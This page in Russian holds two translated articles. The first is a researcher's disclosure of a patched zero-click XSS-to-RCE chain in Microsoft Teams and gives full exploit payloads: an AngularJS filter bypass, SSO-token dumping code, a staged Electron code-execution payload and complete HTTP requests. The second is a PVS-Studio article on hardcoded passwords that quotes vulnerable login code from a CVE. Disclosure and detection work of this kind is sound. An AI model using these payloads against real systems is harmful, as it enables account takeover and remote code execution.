Русский
Русский
English
Статистика
Реклама

Cve

Перевод Мы нашли опасную уязвимость в Microsoft Teams, но компания устранила её только спустя два месяца

10.12.2020 10:23:48 | Автор: admin

TL;DR:

  • 31 августа 2020 года мы сообщили о критически опасных багах исполнения удалённого кода в Microsoft Teams.
  • 30 сентября 2020 года Microsoft присвоила им рейтинг Important, Spoofing (Важно, спуфинг) один из наиболее низких.
  • В нашей команде мгновенно родилась новая шутка.
  • Microsoft отказалась подробно обсуждать воздействие этих багов, окончательное решение принято 19 ноября 2020 года
  • Что касается CVE, в настоящее время политика Microsoft заключается в том, чтобы не публиковать CVE продуктов, автоматически обновляемых без действий пользователя, 30 ноября 2020 года
  • Баги устранены к концу октября 2020 года

Рейтинг Microsoft Security Response Center Important, Spoofing


Microsoft приняла эту цепочку багов в баунти-программу облачных багов O365 как Important (уровень серьёзности), Spoofing (воздействие). Это один из самых низких рейтингов.

По крайней мере, теперь в нашем коллективе появилась новая шутка когда мы находим баг исполнения удалённого кода (remote code execution, RCE), мы называем его Important, Spoofing. Спасибо, Microsoft!

Если быть полностью честными, то для десктопного приложения был присвоен отдельный рейтинг Critical, Remote Code Execution, но только за очки Microsoft! Очки Microsoft позволяют вам попасть в таблицу лидеров MSRC.

В этой статье мы расскажем об одном из пяти переданных в MSRC цепочек багов исполнения удалённого кода Microsoft Teams, требующих одного нажатия или не требующих нажатий вообще (Important, Spoofing).

Благодарим Оскарса Вегериса.

Воздействие бага исполнение удалённого кода, не требующее действий пользователя


  • Нападающий отправляет или редактирует уже имеющееся сообщение, которое выглядит для жертвы совершенно обычным.
  • Жертва исполняет код, просто просмотрев сообщение.

Вот и всё. Со стороны жертвы больше не требуется никакого вмешательства. Теперь внутренняя сеть вашей компании, личные документы, документы/почта/заметки O365, секретные чаты полностью скомпрометированы. Подумайте об этом. Одно сообщение, один канал, никакого взаимодействия. Все подвергаются эксплойту.

Объясним немного подробнее. Что если получатели затем автоматически опубликуют это сообщение в своих командах и каналах? Эксплойт распространяется на всех. Вы знали, что можете быть гостем в других организациях? Вероятно, в вашей организации есть несколько гостей. С большой вероятностью они находятся в собственных организациях, и эти организации, вероятно, имеют собственных гостей, у которых есть свои организации, которые Да, этот баг можно превратить в червя, распространяемого по сети Microsoft Teams, по крайней мере, в пределах организации.

Демонстрация бага довольно скучна достаточно просто единственного неинтерактивного HTTP-запроса.


Получив рейтинг Important, Spoofing, в качестве аргументации для сотрудников MSRC я отправил список пунктов, которые посчитал реальным воздействием бага. Обсуждение было почти несущественным, они просто перетасовывали рейтинги. На каждый ответ требовались недели, и каждый раз мне приходилось напоминать о себе.

Примерно спустя три месяца мы пришли к следующему: к рейтингу Important, Spoofing и к тому, что десктопный клиент (исполнение удалённого кода) находится вне области воздействия (out of scope).

Конечно, Microsoft может вывести из области воздействия бага десктопное приложение, что, по моему мнению, абсурдно, поскольку оно рекламируется как основной способ работы с Microsoft Teams но почему это всего лишь Важно и что такое спуфинг?

Important, Spoofing по пунктам


  • Атака Stored XSS, не требующая вмешательства пользователя. Влияет на все типы потоков сообщений приватные, потоки, группы и т.д.
  • Самовоспроизводящийся червь жертва репостит полезную нагрузку всем контактам и группам. Все репостят своим контактам, группам (гости тоже имеют доступ к организациям, а также доступ к собственным организациям, и т.д.)
  • Кража токенов SSO для всех пользователей организации из XSS, например, при захвате аккаунта, вы получаете доступ ко всем токенам SSO Office 365, то есть доступ ко всей почте, документам, заметкам компании всему, что есть в O365
  • Доступ к частным перепискам, сообщениям, файлам, логам вызовов и всему остальному, что есть в MS Teams
  • Повышение полномочий до уровня организации MS Teams Admin
  • Доступ к микрофону/камере с помощью XSS (насколько я знаю, по крайней мере, в веб-версиях для Chrome)
  • Кроссплатформенное (macOS, Windows, Linux) исполнение произвольных команд на устройствах жертвы, не требующее участия жертвы
  • Полная утеря конфиденциальности и неприкосновенности для конечных пользователей доступ к приватным чатам, файлам, внутренней сети, приватным ключам и личным данным вне MS Teams
  • Кейлоггинг, доступ к микрофону, камере и т.д.

Вы когда-нибудь задавались вопросом, как MS Teams способна беспроблемно получать доступ ко всему в вашем O365? Нападающие таким вопросом не задаются они делают это так же, как это делает Teams.

Что вошло в отчёт


  • Обход защиты от инъекций выражений AngularJS
  • Выход из песочницы AngularJS для исполнения произвольного кода JS
  • Обход CSP (с помощью AngularJS)
  • Злоумышленное использование API Microsoft Teams для скачивания и исполнения файла с целью реализации RCE
  • Дополнительная универсальная полезная нагрузка Electron [вырезано] для RCE, которая включена во вложения к отчёту в формате видео/медиа
  • Обе полезные нагрузки RCE позволяют обойти защиту приложений Electron, специфичную для Microsoft Teams, однако, вероятно, их можно универсально адаптировать к более старым версиям ElectronJS с похожими защитными ограничениями.

Защита ElectronJS в MS Teams: remote-require отключено и фильтруется, nodeIntegration равно false, создание webview фильтруется и в обычном состоянии удаляет небезопасные параметры/опции. Невозможно просто импортировать child_process и исполнить произвольный код или создать webview с собственной опцией preload.

Демо и RCE


Полезная нагрузка [вырезано], невидимая для жертвы (новое окно не открывается)



Ну да, инъецируемая шаблонная строка видна на долю секунды, но в обычной ситуации пользователь её не увидит. Об этом свидетельствует следующее демо и все остальные шаблонные строки AngularJS, которые вы не видите в Teams. Я связываю этот глитч с HTTP-прокси, общей медленностью приложения, живой перезагрузкой и тем, что это демо, а значит, оно просто обязано иметь ошибки :)

// по требованию Microsoft полезная нагрузка RCE, не создающая новых окон, засекречена примерно до 2021 года

Полезная нагрузка с новым окном



Пустое окно может содержать произвольный контент, иметь любой размер и внешний вид сейчас оно подозрительно пустое, потому что это проверка концепции.

Исходный файл MOV находится здесь.

Никакого вмешательства пользователя не требуется, эксплойт исполняется при просмотре сообщения чата. Этот эксплойт обходит ограничения webview и злонамеренно использует API MS Teams для скачивания файла и применения его в качестве preload (контекст nodeJS) для webview. Teams фильтрует создание webview, отфильтровывая preload и другие опасные опции, но при таком способе проверку можно обойти. Вероятно, такой же подход можно использовать в более старых приложениях ElectronJS.

cmd = `open /System/Applications/Calculator.app` // change to windows/linux command as requiredstage1 = `data:text/plain,cp=require('child_process');cp.exec('${cmd}')`; // create a virtual file to downloadthis.electronSafeIpc.send(`desktopFileDownload`, stage1); // request to download file// implement an event handler when files downloaded to trigger payloadthis.electronSafeIpc.on(`desktop-file-download-finished`, (_, fileinfo) => {         f = fileinfo.uniqueFile.filePath; // event gives us file path which we don't know beforehand                // create a new webview mockup - window with a webview tag and our virtual, downloaded file as preload        stage2 = `data:text/html,<webview src='about:blank' preload='file:///${f}'></webview>`        this.electronSafeIpc.send(`allowWindowOpenUrl`, stage2); // abusing MS Teams IPC API to allow above URL        this.w = window.open(stage2); // URL gets opened, webview gets created with our virtual, downloaded file preload        setTimeout(()=>{this.w.close()},1000) // not necessary, but let's close the custom window    })

Ниже показан исходный отчёт о баге, переданный в MSRC


Сводка


В десктопном приложении MS Teams была обнаружена уязвимость Remote Code Execution, которую можно запустить новой инъекцией XSS (Cross-Site Scripting) в teams.microsoft.com. Любому участнику или каналу Microsoft Teams можно отправить специально изготовленное сообщение чата, которое исполнит произвольный код на компьютере пользователя БЕЗ ЕГО УЧАСТИЯ.

Удалось реализовать Remote Code Execution в десктопных приложениях на всех поддерживаемых платформах (Windows, macOS, Linux). Исполнение кода предоставляет нападающим полный доступ к устройствам жертвы, а через эти устройства и к внутренним сетям компании.

Даже без исполнения произвольного кода в устройстве пользователя при помощи продемонстрированного XSS нападающий может получить токены авторизации SSO для Microsoft Teams и других сервисов Microsoft (например, Skype, Outlook, Office365). Более того, уязвимость к XSS сама по себе позволяет обеспечить доступ к конфиденциальным/приватным перепискам, файлам и т.д. из MS Teams.

Такие атаки могут выполняться гостевыми пользователями совершенно незаметно, без каких-либо действий пользователя или признаков компрометации.

Продукты, подверженные воздействию этого бага:

  • Microsoft Teams (teams.microsoft.com) Cross-Site Scripting
  • Microsoft Teams macOS v 1.3.00.23764 (последняя на 31.08.2020 версия)
  • Microsoft Teams Windows v 1.3.00.21759 (последняя на 31.08.2020 версия)
  • Microsoft Teams Linux v 1.3.00.16851 (последняя на 31.08.2020 версия)

Воздействие


  • Распространение по типу червя (wormable) возможность автоматического репоста полезной нагрузки эксплойта в другие компании, каналы и пользователям без действий с их стороны
  • Исполнение произвольных команд в устройствах жертвы без действий со стороны жертвы
  • Полная утеря конфиденциальности и неприкосновенности для конечных пользователей доступ к приватным чатам, файлам, внутренней сети, приватным ключам и личным данным вне MS Teams
  • Доступ к токенам SSO, а значит, и к другим сервисам Microsoft (Outlook, Office365 и т.д.)
  • Возможные фишинг-атаки перенаправлением на сайт нападающих или запросом ввода учётных данных SSO
  • Кейлоггинг при помощи специально созданной полезной нагрузки

Описание


Данный отчёт содержит новый вектор XSS и новую полезную нагрузку RCE, которые используются совместно. Они влияют на систему чатов в Microsoft Teams и могут использоваться, например, в личных сообщениях и каналах.

Для реализации RCE в Microsoft Teams используется цепочка из двух уязвимостей:

  • Stored XSS в чате teams.microsoft.com в функции упоминания пользователя
  • Новый кроссплатформенный специально созданный JS-эксплойт для десктопных клиентов MS Teams

Stored XSS в teams.microsoft.com


Как воспроизвести


  1. Ввести сообщение чата в личном общении или в канале, упомянув пользователя или тэг этого чата
  2. Отредактировать сообщение чата, содержащее упоминание, и выполнить перехват при помощи HTTP-прокси наподобие Burp Suite

В функции упоминаний уязвимым параметром является displayName в структуре JSON сообщения { content: "...", properties: { "mentions" : "[{ displayName: PAYLOAD HERE }]".

Запрос должен выглядеть примерно так, обратите внимание на displayName:

PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP/1.1Host: emea.ng.msg.teams.microsoft.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0Accept: jsonAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/jsonAuthentication: skypetoken=...snip...ClientInfo: os=macos; osVer=10; proc=x86; lcid=en-us; deviceType=1; country=us; clientName=skypeteams; clientVer=1415/1.0.0.2020080725; utcOffset=+03:00BehaviorOverride: redirectAs404Content-Length: 1174{"content":"<div><div>\n<div>\n<div>\n<div>\n<div><span itemscope itemtype=\"http://schema.skype.com/Mention\" itemid=\"0\">dada</span></div>\n</div>\n</div>\n</div>\n</div>\n</div>","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"9868848366534370000","imdisplayname":"Oskars Vegeris","properties":{"importance":"","subject":null,"mentions":"[{\"@type\":\"http://schema.skype.com/Mention\",\"itemid\":0,\"tagId\":\"tHab2TLzpa\",\"mri\":\"tHab2TLzpa\",\"mentionType\":\"tag\",\"displayName\":\"x marks the spot\"}]"}}

Фильтрацию выражений Angular можно обойти инъекцией символа нулевого байта в Unicode \u0000, например:

{{3*333}\u0000}

Для получения доступа пользователя к локальному хранилищу и всем токенам SSO использовать эту полезную нагрузку в displayName из приведённого выше HTTP-запроса PUT.

{{['if(typeof onetime==`undefined`){onetime=1;console.log(localStorage);}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}

Полный HTTP-запрос для логгинга токена SSO:

PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP/1.1Host: emea.ng.msg.teams.microsoft.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0Accept: jsonAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/jsonAuthentication: skypetoken=...snip...ClientInfo: os=macos; osVer=10; proc=x86; lcid=en-us; deviceType=1; country=us; clientName=skypeteams; clientVer=1415/1.0.0.2020080725; utcOffset=+03:00BehaviorOverride: redirectAs404Content-Length: 1174{"content":"<div><div>\n<div>\n<div>\n<div>\n<div><span itemscope itemtype=\"http://schema.skype.com/Mention\" itemid=\"0\">dada</span></div>\n</div>\n</div>\n</div>\n</div>\n</div>","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"9868848366534370000","imdisplayname":"Oskars Vegeris","properties":{"importance":"","subject":null,"mentions":"[{\"@type\":\"http://schema.skype.com/Mention\",\"itemid\":0,\"tagId\":\"tHab2TLzpa\",\"mri\":\"tHab2TLzpa\",\"mentionType\":\"tag\",\"displayName\":\"x marks the spot{{['if(typeof onetime==`undefined`){onetime=1;console.log(localStorage);}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}\"}]"}}

Этот запрос выполнит логгинг локального хранилища пользователя как доказательство концепции XSS.

Никаких других действий не требуется. Все пользователи в чате начнут выполнять логгинг своих токенов SSO, которые можно извлечь.

Можно проверить это, изучив инструменты разработчика или в десктопной версии Microsoft Teams, или в любом браузере.

Исполнение удалённого кода и полезная нагрузка


Была разработана новая полезная нагрузка исполнения удалённого кода, обходящая все ограничения, реализованные на данный момент (remote require, node integration, фильтрация webview preload и т.д.) в десктопной версии Microsoft Teams. Она должна работать, даже при включении contextIsolation.

cmd = `open /Applications/Calculator.app` // change to windows/linux command as requiredstage1 = `data:text/plain,cp=require('child_process');cp.exec('${cmd}')`; // create a virtual file to downloadthis.electronSafeIpc.send(`desktopFileDownload`, stage1); // request to download file// implement an event handler when files downloaded to trigger payloadthis.electronSafeIpc.on(`desktop-file-download-finished`, (_, fileinfo) => {         f = fileinfo.uniqueFile.filePath; // event gives us file path which we don't know beforehand                // create a new webview mockup - window with a webview tag and our virtual, downloaded file as preload        stage2 = `data:text/html,<webview src='about:blank' preload='file:///${f}'></webview>`        this.electronSafeIpc.send(`allowWindowOpenUrl`, stage2); // abusing MS Teams IPC API to allow above URL        this.w = window.open(stage2); // URL gets opened, webview gets created with our virtual, downloaded file preload        setTimeout(()=>{this.w.close()},1000) // not necessary, but let's close the custom window    })

Укороченная версия для HTTP-запроса PUT; улучшена тем, что исполняется только один раз на reload:

{{['if(typeof mentiontime==`undefined`){mentiontime=1;stage1=`data:text/plain,cp=require(\\\"child_process\\\");cp.exec(\\\"open /System/Applications/Calculator.app\\\")`;this.electronSafeIpc.send(`desktopFileDownload`,stage1);this.electronSafeIpc.on(`desktop-file-download-finished`,(_,fileinfo)=>{f=fileinfo.uniqueFile.filePath;stage2=`data:text/html,<webview src=\\\"about:blank\\\" preload=\\\"file:///${f}\\\"></webview>`;this.electronSafeIpc.send(`allowWindowOpenUrl`,stage2);this.w=window.open(stage2);setTimeout(()=>{this.w.close()},2000)})}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}

Полный HTTP-запрос с полезной нагрузкой RCE:

PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP/1.1Host: emea.ng.msg.teams.microsoft.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0Accept: jsonAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/jsonAuthentication: ...snip...ClientInfo: os=macos; osVer=10; proc=x86; lcid=en-us; deviceType=1; country=us; clientName=skypeteams; clientVer=1415/1.0.0.2020080725; utcOffset=+03:00BehaviorOverride: redirectAs404Content-Length: 1174{"content":"<div><div>\n<div>\n<div>\n<div>\n<div><span itemscope itemtype=\"http://schema.skype.com/Mention\" itemid=\"0\">dada</span></div>\n</div>\n</div>\n</div>\n</div>\n</div>","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"9868848366534370000","imdisplayname":"Oskars Vegeris","properties":{"importance":"","subject":null,"mentions":"[{\"@type\":\"http://schema.skype.com/Mention\",\"itemid\":0,\"tagId\":\"tHab2TLzpa\",\"mri\":\"tHab2TLzpa\",\"mentionType\":\"tag\",\"displayName\":\"x marks the spot{{['if(typeof mentiontime==`undefined`){mentiontime=1;stage1=`data:text/plain,cp=require(\\\"child_process\\\");cp.exec(\\\"open /System/Applications/Calculator.app\\\")`;this.electronSafeIpc.send(`desktopFileDownload`,stage1);this.electronSafeIpc.on(`desktop-file-download-finished`,(_,fileinfo)=>{f=fileinfo.uniqueFile.filePath;stage2=`data:text/html,<webview src=\\\"about:blank\\\" preload=\\\"file:///${f}\\\"></webview>`;this.electronSafeIpc.send(`allowWindowOpenUrl`,stage2);this.w=window.open(stage2);setTimeout(()=>{this.w.close()},2000)})}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}\"}]"}}

Примечание: следует изменить команду, в коде указана команда для macOS Catalina open /System/Applications/Calculator.app.

Действий пользователя не требуется, простое посещение чата приведёт к исполнению произвольного кода.

Вспомогательные материалы/ссылки:


[1] Видеодемо, скриншоты

[2] https://www.electronjs.org/docs/tutorial/security

Информация SSO / cookie


Список идентификаторов токенов SSO в localStorage и параметры cookie, доступные из JavaScript в Microsoft Teams


Токены SSO:

adal.nonce.idtokents.09ccd856-c12e-4228-acf6-a19af826be77.auth.skype.tokents.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.4580fd1d-e5a3-4f56-9ad1-aab0e3bf8f76ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.cf53fce8-def6-4aeb-8d30-b158e7b1cf83ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://*.microsoftstream.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://api.spaces.skype.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://chatsvcagg.teams.microsoft.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://emea.presence.teams.microsoft.com/ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://evolutiongaming-my.sharepoint.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://evolutiongaming-my.sharepoint.com/ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://evolutiongaming.sharepoint.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://evolutiongaming.sharepoint.com/ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://forms.office.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://loki.delve.office.com/ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://management.core.windows.net/ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://onenote.com/ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://outlook.office.com/ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://outlook.office365.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://outlook.office365.com/connectorsts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://presence.teams.microsoft.com/ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://service.powerapps.com/ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://teams.microsoft.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://uis.teams.microsoft.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://web.microsoftstream.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://whiteboard.microsoft.com

Потенциально уязвимые cookies, доступные из JavaScript:

sessionIdTSAUTHCOOKIESSOAUTHCOOKIE




На правах рекламы


Эпичные серверы это VPS для любых задач. Вы можете создать собственный тарифный план, максимальная конфигурация 128 ядер CPU, 512 ГБ RAM, 4000 ГБ NVMe!

Подробнее..

PVS-Studio вступает в битву с захардкоженными паролями

02.03.2021 18:23:53 | Автор: admin

PVS-Studio статический анализатор, позволяющий обнаружить множество проблем, скрытых в исходном коде. Среди них также присутствуют ошибки, связанные с безопасностью приложений. К примеру, недавно анализатор научился определять наличие в коде конфиденциальных данных, таких как пароли. Данная потенциальная уязвимость находится в списке OWASP Top Ten и является куда более опасной, чем может показаться на первый взгляд. В чём же эта опасность состоит и как статический анализатор может от неё уберечь? Что ж, об этом (и не только) и написана данная заметка!

Мы продолжаем развивать PVS-Studio как SAST решение и планируем научить анализатор находить ещё больше ошибок, связанных с безопасностью, в коде на C, C++, C# и Java. Более подробно об этих планах (и не только) можно прочитать в статье "Дорожная карта PVS-Studio на 2021 год".

О хранении секретных данных в коде

Одним из вариантов развития поддержки SAST является добавление новых диагностических правил, реализующих проверку соответствия кода различным стандартам. Среди последних нововведений в C#-анализаторе стала проверка наличия в исходниках конфиденциальных данных. Хранение таких данных в коде противоречит пункту 2.10.4 OWASP Application Security Verification Standard (ASVS):

Verify passwords, integrations with databases and third-party systems, seeds and internal secrets, and API keys are managed securely and not included in the source code or stored within source code repositories. Such storage SHOULD resist offline attacks. The use of a secure software key store (L1), hardware TPM, or an HSM (L3) is recommended for password storage.

Риски, связанные с небезопасным хранением конфиденциальных данных в коде, входят в список OWASP Top Ten. В Common Weakness Enumeration (CWE) также присутствуют 2 позиции, связанные с данным вопросом: CWE-798 и CWE-259. Несмотря на это может возникать вопрос в чём же состоит опасность?

Для проектов с открытым исходным кодом ответ очевиден пароль или какие-либо другие данные, записанные в коде, доступны всем желающим для просмотра и использования. Злоумышленнику даже не придётся совершать каких-либо сложных действий: достаточно просто покопаться в репозитории.

Несколько лучше дела обстоят в том случае, если приложение доступно только в скомпилированном виде. Это даже может создать иллюзию безопасности. Ведь исходный код, казалось бы, недоступен, а значит, недоступны и записанные в нём данные. Увы, это необязательно так.

В реальной практике нередкими являются случаи, когда в системе захардкожены данные, которые могут использоваться для получения различных прав. Как правило, у пользователей даже нет возможности изменить эти данные. Для их получения злоумышленники могут использовать самые разные способы. В некоторых случаях логины, пароли и т. п. вообще можно увидеть в интерфейсе системы. В других понадобится изучение различных файлов, декомпиляция кода, brute force и прочее. Так или иначе, умельцы умеют находить способы раскрытия захардкоженных секретов.

Достаточно часто актуальна следующая проблема: злоумышленник, получив хранящиеся в исходниках системы логины и/или пароли, сможет использовать их для подключения к другим системам этого типа. К примеру, он может установить систему локально. Проведя исследование и получив логины и пароли для этой локальной версии, злоумышленник сможет подключаться и к другим, использующим те же данные.

Кроме того, потенциальную опасность представляет тот факт, что данные, хранящиеся в исходниках, доступны всем программистам, которые с ними работают. В то же время, пользователь, установивший ту или иную систему для своих нужд, едва ли будет рад узнать, что компания-разработчик в любой момент может получить полный контроль над используемой им системой а следовательно, получить различные секретные данные самого пользователя и т. д. Найденные в списке Common Vulnerabilities and Exposures (CVE) вхождения говорят о том, что такие ошибки рано или поздно обнаруживаются. И при этом, конечно же, выставляются на всеобщее обозрение.

Как было сказано ранее, уязвимости, связанные с захардкоженными конфиденциальными данными, не редкость: среди CVE можно отыскать множество примеров. Один из них CVE-2012-5862. Система, о которой сообщается в данной позиции CVE, содержала файл "login.php", в котором присутствовал следующий код:

$password = mysql_escape_string($_POST['password']);if (crypt($password,salt)=='satIZufhIrUfk'){  $sql_pthr_ = "SELECT user,password FROM account WHERE livello = 0";  ....}if ($password=='astridservice' and $stilecustumization=='astrid'){ // <=  ....}if (crypt($password,salt)=='saF8bay.tvfOk'){  $sql_insert="INSERT INTO account(user,password,livello,nome) VALUES                 ('sinapsi','sinapsi','0','Amministratore Sinapsi')";  ....}

В данном коде есть место, где переменная, содержащая переданный пользователем пароль, напрямую сравнивается со строковым литералом. Очевидно, злоумышленнику не составит труда использовать эту информацию для выполнения различных операций, не доступных обычному пользователю.

C#-анализатор PVS-Studio обнаруживает хранение конфиденциальных данных с помощью диагностического правила V5601. К примеру, взгляните на C#-код, напоминающий вышеприведённый пример:

string password = request.GetPostValue("password");....if (password == "astridservice" && stilecustomization == "astrid") ....

Проанализировав данный код, PVS-Studio сформирует следующее предупреждение:

V5601 Suspicious string literal could be a password: 'astridservice'. Storing credentials inside source code can lead to security issues.

Таким образом, статический анализатор позволит вовремя заметить подобную ошибку в коде и внести исправление. Следовательно, уровень безопасности вашего проекта также возрастёт.

Примечание. Стоит отметить, что V5601 принадлежит группе диагностических правил OWASP. Данная группа появится в PVS-Studio с выходом версии 7.12. По умолчанию OWASP-правила будут отключены, однако это можно легко изменить, используя, к примеру, интерфейс плагина для Visual Studio или Rider либо же напрямую редактируя файл настроек.

Указанный пример лишь один из многих: захардкоженные конфиденциальные данные могут привести к появлению самого разного рода проблем. Во время своего исследования я находил множество других CVE-позиций, связанных с захардкоженными конфиденциальными данными. Ниже приведены ссылки на некоторые из них:

  • CVE-2004-1920 роутер с super-логином и super-паролем;

  • CVE-2004-2556 точка доступа с super-логином (опять) и не-super-паролем "5777364";

  • CVE-2004-2557 результат "исправления" CVE-2004-2556 (по крайней мере, логин больше не super);

  • CVE-2012-1288 захардкоженные данные аккаунта администратора;

  • CVE-2012-2949 захардкоженный пароль в приложении на Android

  • и т. д.

Ещё один повод запускать анализ регулярно

Существует расхожее мнение, что статический анализатор достаточно использовать раз в несколько месяцев перед релизом (или вообще раз в год). Это достаточно странная позиция. Исправить проблемы, накопившиеся за кучу времени, куда труднее, чем поправить перед коммитом код, написанный только что. Тем более, благодаря инкрементальному анализу проверка пройдет гораздо быстрее.

Во многих случаях удобным вариантом будет настройка анализа коммитов и pull request'ов. Это ещё сильнее повысит безопасность разрабатываемого приложения. Ведь код, содержащий ошибки, никак не попадёт в основную ветку репозитория. Это будет настоящим спасением в том случае, если разработчик вдруг забыл провести анализ. Более подробно про то, как настроить проверку pull request'ов, можно почитать в документации (см. раздел "Развёртывание анализатора в облачных CI").

Новая же возможность поиска конфиденциальных данных в коде ещё раз подтверждает необходимость регулярного проведения анализа: как на компьютерах программистов, так и в рамках CI. Ведь даже если программист заложит в исходники какие-нибудь пароли, то анализатор сообщит ему об этом. При необходимости разработчик может посмотреть документацию по диагностике V5601, чтобы понять, в чём именно состоит опасность.

Если же анализ проводится редко, то выходит, что захардкоженные данные будут долгое время храниться в исходниках. Для open-source проекта это совсем плохо к тому времени, как анализатор позволит обнаружить проблему, данные уже нельзя будет считать конфиденциальными. Тем не менее, не защищены от подобной ситуации и другие проекты. Что если пользователь получит, скажем, бета-версию приложения? Такую как раз могут выдать между релизами. Если регулярные проверки исходников не проводятся, код в такой версии не будет проверен статическим анализатором. Получается, что все данные, "спрятанные" в исходниках, опять оказываются в открытом доступе.

Заключение

PVS-Studio постоянно развивается: добавляются новые диагностические правила, дорабатываются некоторые существующие механизмы, открываются новые направления. Стоит также отметить, что во многом именно постоянный диалог с пользователями позволяет делать анализатор лучше. И диагностическое правило V5601 лишь один из компонентов, делающих анализатор средством, которое позволит повысить безопасность кода ваших проектов.

А как насчёт того, чтобы попробовать использовать PVS-Studio на своих проектах? Сделать это можно совершенно бесплатно, перейдя по ссылке и заполнив простенькую формочку. Ну, а у меня на этом всё, спасибо за внимание и до новых встреч!

Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Nikita Lipilin. PVS-Studio Clashes with Hardcoded Passwords.

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru